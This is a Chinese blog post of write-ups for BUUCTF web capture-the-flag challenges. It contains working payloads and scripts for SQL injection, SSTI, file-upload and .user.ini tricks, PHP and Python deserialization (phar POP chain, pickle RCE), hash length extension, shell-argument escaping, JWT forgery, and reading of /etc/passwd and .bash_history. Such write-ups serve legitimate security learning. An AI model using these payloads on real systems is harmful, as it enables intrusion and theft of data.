跳到主要内容
  1. Posts/

BUUCTF Web 练习记录

偶然发现的 BUUCTF,真的非常好用了。

[HCTF 2018] WarmUp #

F12 发现 source.php 得源码:

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page .'?','?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page .'?','?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\"/>";
    }
?>

发现存在 hint.php

flag not here, and flag in ffffllllaaaagggg

结合上述代码,可以确定是利用文件包含读取 ffffllllaaaagggg 文件。为此,我们需要提供 GET 参数 file

注意到 file 参数的值会被经过如下处理:

$_page = mb_substr(
                $page,
                0,
                mb_strpos($page .'?','?')
            );

那么如果我们在中间插入一个 ?,就可以达到截断的效果。所以尝试 ?file=hint.php?ffffllllaaaagggg 发现无法读取到内容,因此猜测 hint.php? 被当作了文件名的一部分,需要使用相对路径进行目录穿越:

?file=hint.php?../../../../../ffffllllaaaagggg

[强网杯 2019] 随便注 #

单引号可以发现存在注入,但尝试注入时页面返回

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

这说明无法通过常规手段进行注入,因此尝试堆叠注入:

1';show databases;
1';show tables;

得到需要的表名 1919810931114514,但是由于 select 等查询关键字被过滤,查字段内容需要另辟蹊径。这里使用了预处理语句:

1';sEt @poc=concat(char(115,101,108,101,99,116,32),'* from `1919810931114514`');prEpare poc from @poc;exEcute poc;#

注意这里可以使用 char 绕过、大小写绕过,并且纯数字表名需要用反引号包起来。

[护网杯 2018] easy_tornado #

我们需要计算的 hash 是 md5(cookie_secret+md5(filename)),已经获得了 flag 的文件名,还需要 cookie_secret。由于是 tornado 框架,可以尝试 SSTI。

修改 filehash 进入错误页面 /error?msg=Error,测试发现 msg 存在 SSTI,使用 msg={{handler.settings}} 即可获得 cookie_secret。最后计算 MD5 得 payload:

/file?filename=/fllllllllllllag&filehash=a47f809c580850840a5562488d72a3df

[SUCTF 2019] EasySQL #

源码泄露:

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </ a>
<form action=""method="post">
<input type="text"name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

从 sql 语句可以看出存在堆叠注入,且 flag|| 拼接在了输入的后面。因此一种办法是把管道变成连接符,然后查询 1||flag

1; set sql_mode=pipes_as_concat;select 1

另一种办法是直接输入 *,1,从而构造 select *,1||flag from Flag,这里的 || 就是默认的或运算。

[HCTF 2018] admin #

注册时输入 unicode 字符会报错,由于开启了 debug 模式,直接可以拿到 python 的 shell,从 index.html 中读 flag。这个应该是 BUU 平台的非预期。

实际上,本题预期解是利用 Unicode 同形字,注册 ᴀdmin 并登陆,然后修改密码即可修改 admin 的密码,但是同样出现了很多非预期,具体参考 出题人题解

[RoarCTF 2019] Easy Calc #

首页可以发现 js 代码,也就是自定义的 waf:

$("#calc").submit(function () {
  $.ajax({
    url: "calc.php?num=" + encodeURIComponent($("#content").val()),
    type: "GET",
    success: function (data) {
      $("#result").html(`<div class="alert alert-success">
        <strong> 答案:</strong>${data}
        </div>`);
    },
    error: function () {
      alert(" 这啥? 算不来!");
    },
  });
  return false;
});

可以发现有 calc.php,访问直接得到源码:

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = ['', '\t', '\r', '\n','\'','"','`','\[','\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/'. $blackitem .'/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo'.$str.';');
}
?>

绕过 php 黑名单本身不难,但是 waf 中会先进行一次 encodeURIComponent。这里用到的绕过 waf 技巧就是用 num 参数而非 num 参数,这样做可以成功的原因在于 php 会尝试将传入的参数变为合法变量名,即 strip 掉首尾空格、加下划线等等,因此 num 就会被处理成 num,成功进入 else 逻辑,剩下的就是绕黑名单了:

/calc.php?%20num=var_dump(scandir(chr(47)))

可以发现 flag 文件 /f1agg,同样方法读出即可:

/calc.php?%20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

[强网杯 2019] 高明的黑客 #

提供了 www.tar.gz,里面有 3000 + 个 php 文件,都含有类似一句话的部分,但是大多不能用。需要写脚本找到能用的一句话木马:

import os
import re
import requests

filenames = os.listdir('/var/www/html/src')
pattern = re.compile(r"\$_[GEPOST]{3,4}\[.*\]")

for name in filenames:
    print(name)
    with open('/var/www/html/src/'+name,'r') as f:
        data = f.read()
    result = list(set(pattern.findall(data)))

    for ret in result:
        try:
            command = 'uname'
            flag = 'Linux'
            if 'GET' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.get(url='http://localhost/'+ name +'?'+ passwd +'='+ command)
                if flag in r.text:
                    print('GET /{}?{}=cat /flag'.format(name,passwd))
                    break
            elif 'POST' in ret:
                passwd = re.findall(r"'(.*)'",ret)[0]
                r = requests.post(url='http://localhost/'+ name,data={passwd:command})
                if flag in r.text:
                    print('POST /{}?{}=cat /flag'.format(name,passwd))
                    break
        except:
            pass

[SUCTF 2019] CheckIn #

可以上传文件,但是会对后缀名、文件头进行检查,同时文件中不能存在 <?。后者用 <script language="php"> 就可以绕过,前者可以上传图片马。随后就需要我们去包含这个图片马。

可以看到上传的文件目录是固定的,同目录下原本就存在 index.php。那么可以尝试上传 .user.ini,令 index.php 中包含上传的图片马。

如下编写 .user.ini

GIF89a
auto_prepend_file=1.jpg

这样以后,再访问上传目录下的 index.php 即可。

[网鼎杯 2018] Fakebook #

首先通过 robots.txt 发现 user.php.bak

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

可以发现输入的 blog 处存在 SSRF,并且对 blog 字符串的模式做了限制。

先随便注册一个账号,查看账号信息会访问到 view.php?no=1,这里存在 SQL 注入。

no=1 and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~'),1)--

no=1 and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name='users'),'~'),1)--

no=1 and updatexml(1,concat('~',(select data from users),'~'),1)--

可以发现存在 no,username,passwd,data 这些字段,并且 data 字段存放了序列化的 User 对象。

那么我们可以构造一个 User 使得他的 blog 指向 flag 文件。这样就可以绕过 user.php 的检查。

构造序列化对象:

$a = new UserInfo('merc','10','file:///var/www/html/flag.php');
echo serialize($a);

另外 union select 被过滤,需要注释绕过。

no=-1'union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"merc";s:3:"age";i:10;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--

[De1CTF 2019] SSRF Me #

from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp =="Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param",""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param",""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

两种操作:scan 写入 result.txtread 读文件。生成签名时将 secret_key 放在最前面,因此可以通过哈希长度扩展攻击在末尾添加一个 read 操作。这样就可以先把 flag.txt 写入 result.txt 再读出来。

为了读到 flag.txt,很容易想到 file 协议,但是在 waf 中过滤了 filegopher 协议。这里可以利用 urllib 库中的特殊协议 local-file 来读文件,造成 SSRF。

import requests
import urllib
import hashpumpy

base = 'http://0230c9c3-8270-4e74-9786-e6ab55d01eeb.node3.buuoj.cn/'
url = 'local-file:flag.txt'
r = requests.get(base +'geneSign?param='+ url)
print(r.text)
hashcode = hashpumpy.hashpump(r.text, url+'scan','read', 16)
print(hashcode)

cookies = {
    'sign': hashcode[0],
    'action': urllib.parse.quote(hashcode[1][len(url):])
}
r = requests.get(base +'De1ta?param='+url, cookies=cookies)
print(r.text)

[RoarCTF 2019] Easy Java #

容易发现任意文件下载漏洞,我们可以下载 WEB-INF/web.xml,注意必须通过 POST 方式。可以发现存在 FlagController,然后去下载 FlagController

filename=WEB-INF/classes/com/wm/ctf/FlagController.class

jd-gui 反编译可以发现 flag 的 base64 编码。

[0CTF 2016] piapiapia #

扫目录得 www.zip,发现正常注册登陆后可以修改档案,随后查看档案时存在反序列化操作,而其中图片是通过 file_get_contents 获取的,可以用来读关键文件 config.php

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

但是在更新档案时,photo 字段前会拼接一个 upload/ 导致无法读到 config.php。那么我们可以考虑向 nickname 注入序列化字符串的末尾部分,使得反序列化时忽略掉原本的 photo 字段。

但是对于 nickname 又存在过滤:

if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
    die('Invalid nickname');

不过绕过很简单,数组绕过即可。

最后,为了注入 photo,我们需要额外添加:

";}s:5:"photo";s:10:"config.php

共 31 个字符,因此我们必须让 nickname 在被序列化之前,长度增加 31,否则我们新增的部分就不会被读入。幸运的是,我们有 filter 函数:

public function filter($string) {
    $escape = array('\'','\\\\');
    $escape = '/' . implode('|', $escape) . '/';
    $string = preg_replace($escape,'_', $string);

    $safe = array('select', 'insert', 'update', 'delete', 'where');
    $safe = '/' . implode('|', $safe) . '/i';
        return preg_replace($safe,'hacker', $string);
}

可以发现它会将 where 替换为 hacker,使得字符串长度 + 1,那么我们重复该过程 31 次即可。

最终 payload:

------WebKitFormBoundary8V1KsQLRGLqfB6An
Content-Disposition: form-data; name="phone"

12345678901
------WebKitFormBoundary8V1KsQLRGLqfB6An
Content-Disposition: form-data; name="email"

admin@admin.com
------WebKitFormBoundary8V1KsQLRGLqfB6An
Content-Disposition: form-data; name="nickname[]"

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php
------WebKitFormBoundary8V1KsQLRGLqfB6An
Content-Disposition: form-data; name="photo"; filename="1.png"
Content-Type: image/png

config.php
------WebKitFormBoundary8V1KsQLRGLqfB6An--

[BUUCTF 2018] Online Tool #

参考文章

简单来说,escapeshellarg 会对传入参数中的单引号进行转义,然后将单引号两边的内容用 '' 包起来;而 escapeshellcmd 会对转义符 \ 以及不成对的单引号进行转义。那么先 escapeshellargescapeshellcmd 就会造成单引号逃逸。

payload:

?host='<?php echo phpinfo();?> -oG 1.php '

经过 escapeshellarg

?host=''\' '<?php echo phpinfo();?> -oG 1.php'\'''

经过 escapeshellcmd

?host=''\\' '\<\?php echo phpinfo\(\)\;\?\> -oG 1.php'\\'''

然后访问沙箱即可。

[SUCTF 2019] Pythonginx #

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222" + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split('')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl, timeout=2).read()
    else:
        return "我扌 your problem? 333"

题目不允许主机名为 suctf.cc,但是给了提示 h.encode('idna'.decode('utf-8)),可以查到 urllib 相关漏洞,利用 idna 字符 即可绕过主机名过滤,使得最终解码得到主机名是 suctf.cc

然后,题目还提示了 nginx,因此可以想到用 file 协议读取 nginx 配置文件,得到 flag 位置,恰好也位于 /usr 目录下,因此直接读即可。

[CISCN2019 华北赛区 Day1 Web1] Dropbox #

参考

注册后随便上传个文件,然后下载,抓包发现可以改成别的文件,例如 /var/www/html/index.php

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

这里创建了 FileList 对象,调用了两个方法。

然后下载 class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
    public $db;

    public function __construct() {
        global $db;
        $this->db = $db;
    }

    public function user_exist($username) {
        $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->store_result();
        $count = $stmt->num_rows;
        if ($count === 0) {
            return false;
        }
        return true;
    }

    public function add_user($username, $password) {
        if ($this->user_exist($username)) {
            return false;
        }
        $password = sha1($password ."SiAchGHmFx");
        $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
        $stmt->bind_param("ss", $username, $password);
        $stmt->execute();
        return true;
    }

    public function verify_user($username, $password) {
        if (!$this->user_exist($username)) {
            return false;
        }
        $password = sha1($password ."SiAchGHmFx");
        $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
        $stmt->bind_param("s", $username);
        $stmt->execute();
        $stmt->bind_result($expect);
        $stmt->fetch();
        if (isset($expect) && $expect === $password) {
            return true;
        }
        return false;
    }

    public function __destruct() {
        $this->db->close();
    }
}

class FileList {
    private $files;
    private $results;
    private $funcs;

    public function __construct($path) {
        $this->files = array();
        $this->results = array();
        $this->funcs = array();
        $filenames = scandir($path);

        $key = array_search(".", $filenames);
        unset($filenames[$key]);
        $key = array_search("..", $filenames);
        unset($filenames[$key]);

        foreach ($filenames as $filename) {
            $file = new File();
            $file->open($path . $filename);
            array_push($this->files, $file);
            $this->results[$file->name()] = array();
        }
    }

    public function __call($func, $args) {
        array_push($this->funcs, $func);
        foreach ($this->files as $file) {
            $this->results[$file->name()][$func] = $file->$func();
        }
    }

    public function __destruct() {
        $table = '<div id="container"class="container"><div class="table-responsive"><table id="table"class="table table-bordered table-hover sm-font">';
        $table .= '<thead><tr>';
        foreach ($this->funcs as $func) {
            $table .= '<th scope="col"class="text-center">' . htmlentities($func) . '</th>';
        }
        $table .= '<th scope="col"class="text-center">Opt</th>';
        $table .= '</thead><tbody>';
        foreach ($this->results as $filename => $result) {
            $table .= '<tr>';
            foreach ($result as $func => $value) {
                $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
            }
            $table .= '<td class="text-center"filename="'. htmlentities($filename) . '"><a href="#"class="download">涓嬭浇 </a> / <a href="#"class="delete"> 鍒犻櫎</a></td>';
            $table .= '</tr>';
        }
        echo $table;
    }
}

class File {
    public $filename;

    public function open($filename) {
        $this->filename = $filename;
        if (file_exists($filename) && !is_dir($filename)) {
            return true;
        } else {
            return false;
        }
    }

    public function name() {
        return basename($this->filename);
    }

    public function size() {
        $size = filesize($this->filename);
        $units = array(' B', 'KB', 'MB', 'GB', 'TB');
        for ($i = 0; $size>= 1024 && $i <4; $i++) $size /= 1024;
        return round($size, 2).$units[$i];
    }

    public function detele() {
        unlink($this->filename);
    }

    public function close() {
        return file_get_contents($this->filename);
    }
}
?>

我们注意到,FileList 并没有刚才调用的两个方法,但是却有 __call 魔术方法,因此会去调用 Filenamesize 方法。这里提示我们使用 __call 调用 File 的其他方法来进行漏洞利用,例如 close 就是不错的选择。

而在下载和删除时,会分别使用 download.phpdelete.php,这两个文件也下载下来:

<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";
ini_set("open_basedir", getcwd() .":/etc:/tmp");

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) <40 && $file->open($filename) && stristr($filename,"flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
} else {
    echo "File not exist";
}
?>
<?php
session_start();
if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
}

if (!isset($_POST['filename'])) {
    die();
}

include "class.php";

chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) <40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
} else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
}
?>

可以看到我们不能通过任意文件下载去下载 flag 文件。而在删除时,关键在于调用了 detele 函数,这会触发 unlinkunlink 在用 phar:// 伪协议解析文件时会进行反序列化,结合刚才的魔术方法 __call,我们容易想到利用 phar 反序列化来读 flag。

我们已经有 FileList->__destruct 方法打印 __call 的结果。接下来,读 flag 显然只能用 Fileclose 方法,为了调用这个方法,我们需要构造形如 FileList->__call("close") 的调用。

搜索字符串 close,可以发现代码中还有一处 close 调用,位于 User->__destruct 中,本来是用于关闭数据库连接,但我们可以设置 dbFileList 对象从而达到目的。最后设置 File 对象的 filename/flag.txt

由于我们使用了 unlink,所以会自动调用 User->__destruct,至此 pop 链构造完成。

<?php

class User
{
    public $db;
}
class FileList
{
    private $files;
    public function __construct() {
        $this->files = array(new File());
    }
}
class File
{
    public $filename = "/flag.txt";
}

$fl = new FileList();
$u = new User();
$u->db = $fl;

$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->addFromString("1.txt", "text");
$phar->setMetadata($u);
$phar->stopBuffering();

?>

然后将 php.ini 中的 phar.readonly 设为 Off,运行得到 1.phar,上传并抓包,更改文件名为 1.gif,更改 Content-Typeimage/gif 即可成功上传。最后删除,更改文件名为 phar://1.gif,触发 unlink 读取 flag。

[ASIS 2019] Unicorn shop #

本题需要花费 1337 购买超级独角兽,但输入的价格只能是一个字符。查看源代码发现提示和 UTF8 相关,因此去查询 Unicode 中数值大于 1337 的字符的 UTF8 编码,举个例子:

id=4&price=%e1%8d%bc

这个字符代表一万,因此可以购买。 查询网站

[CISCN2019 华北赛区 Day1 Web2] ikun #

首先需要找到 lv6,页数很多,写脚本跑一下:

import requests

base = 'http://92a45198-65ac-407a-afbb-530a083474e9.node3.buuoj.cn/shop?page='

for i in range(1,2000):
    url = base + str(i)
    r = requests.get(url)
    if 'lv6.png' in r.text:
        print(i)
        break

发现在 181 页,点击购买发现钱不够但是存在折扣,因此抓包修改折扣为非常小的数字,进入 b1g_m4mber 页面,提示说只有 admin 可以访问。

抓包发现存在一个长度看起来很短的 jwt,扔到 c_jwt_cracker 里跑出密钥 1Kun,从而可以到 jwt.io 上伪造 admin 身份。

随后多出了一键成为大会员的功能,但是点击没有用,查看源代码得到源码。经过代码审计后,发现在 Admin.py 处存在 pickle 反序列化:

@tornado.web.authenticated
def post(self, *args, **kwargs):
    try:
        become = self.get_argument('become')
        p = pickle.loads(urllib.unquote(become))
        return self.render('form.html', res=p, member=1)
    except:
        return self.render('form.html', res='This is Black Technology!', member=0)

我们可以借助其魔术方法 __reduce__ 来执行 python 代码。 参考

注意 pickle 不能跨 python 版本,这里采用 python2:

import pickle
import urllib

class payload(object):
    def __reduce__(self):
        return (eval, ('open("/flag.txt","r").read()',))

p = pickle.dumps(payload())
print urllib.quote(p)

即可生成 URL 编码的序列化数据,填入 become 字段即可。

c__builtin__%0Aeval%0Ap0%0A%28S%27open%28%22/flag.txt%22%2C%22r%22%29.read%28%29%27%0Ap1%0Atp2%0ARp3%0A.

[GYCTF2020] Blacklist #

存在过滤语句 return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);,无法 select,可以考虑堆叠注入:

-1';show tables;#
-1';show columns from FlagHere;#

可以得到列名为 flag,然后通过 HANDLER 语法读取 flag。

-1';handler FlagHere open; handler FlagHere read first; handler close;#

[安洵杯 2019] easy_serialize_php #

<?php

$function = @$_GET['f'];

function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}


if($_SESSION){
    unset($_SESSION);
}

$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;

extract($_POST);

if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}

if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}

$serialize_info = filter(serialize($_SESSION));

if($function =='highlight_file'){
    highlight_file('index.php');
}else if($function =='phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function =='show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

本题的关键问题在于,对于序列化后的数据进行过滤,导致反序列化时出错。

首先存在明显的变量覆盖,显然可以覆盖的变量只有 $_SESSION,随后注意到如果指定 img_path 那么 $SESSION[img] 将被哈希,变得不可控。而下方 file_get_contents 又提醒我们必须控制 img 字段,因此需要通过反序列化字符逃逸来实现。

先通过提示在 phpinfo 中发现 d0g3_f1ag.php 文件,这就是我们要放进 img 的文件了。随后利用 filter 函数的过滤功能吞掉 24 个字符,使得反序列化时多读入后 24 字符并舍弃后面的所有内容。具体地说,构造:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}

那么序列化后数据变为:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

再经过 filter,变成:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

此时,user 字段向后读 24 字符,其值为 ";s:8:"function";s:59:"a,随后是我们控制的 img 字段和 dd 字段(注意需满足长度为 59),} 后的内容被忽略。此时我们就成功控制了 img,读到了 d0g3_f1ag.php。文件内容指向另一个文件,同样方法读取即可。

[网鼎杯 2018] Comment #

存在 .git 泄露,GitHack 发现恢复的文件不全,然后通过 git log --reflog 发现了一个 stashed 的记录,用 git reset --hard xxx 回滚到该记录得到完整代码:

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] !='yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

插入数据时进行转义,但获取 category 时没有转义直接拼接到了 sql 语句中执行,因此可以二次注入。

首先是发帖,设置 category', content=user(),/*,那么 sql 语句变成

insert into board set category = '', content=user(),/*', title ='1', content ='2'

然后评论 */#,sql 语句为:

insert into comment set category = '', content=user(),/*', content ='*/#', bo_id ='1'

则评论内容中就会显示当前用户为 root,随后查看 /etc/passwd 发现存在 www 用户,再查看 /home/www/.bash_history 发现存在 .DS_Store 文件。

随后查看 .DS_Store 文件:

',content=(select hex(load_file('/tmp/html/.DS_Store'))),/*

解码得到 flag 文件名:flag_8946e1ff1ee3e40f.php。同样方法读取即可。